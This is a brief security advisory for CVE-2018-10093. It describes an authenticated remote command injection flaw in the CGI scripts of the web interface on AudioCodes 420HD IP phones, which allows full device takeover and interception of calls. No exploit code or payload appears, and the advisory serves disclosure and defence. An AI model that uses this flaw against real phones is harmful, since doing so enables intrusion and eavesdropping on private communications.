• # [CVE-2018-10093] Remote command injection vulnerability in AudioCode IP phones
  
  ## Description
  
  The AudioCodes 400HD series of IP phones consists in a range of
  easy-to-use, feature-rich desktop devices for the service provider
  hosted services, enterprise IP telephony and contact center markets.
  
  The CGI scripts used on the 420HD phone (web interface) do not filter
  user inputs correctly. Consequently, an authenticated attacker could
  inject arbitrary commands (Remote Code Execution) and take full control
  over the device. For example, it is possible to intercept live
  communications.
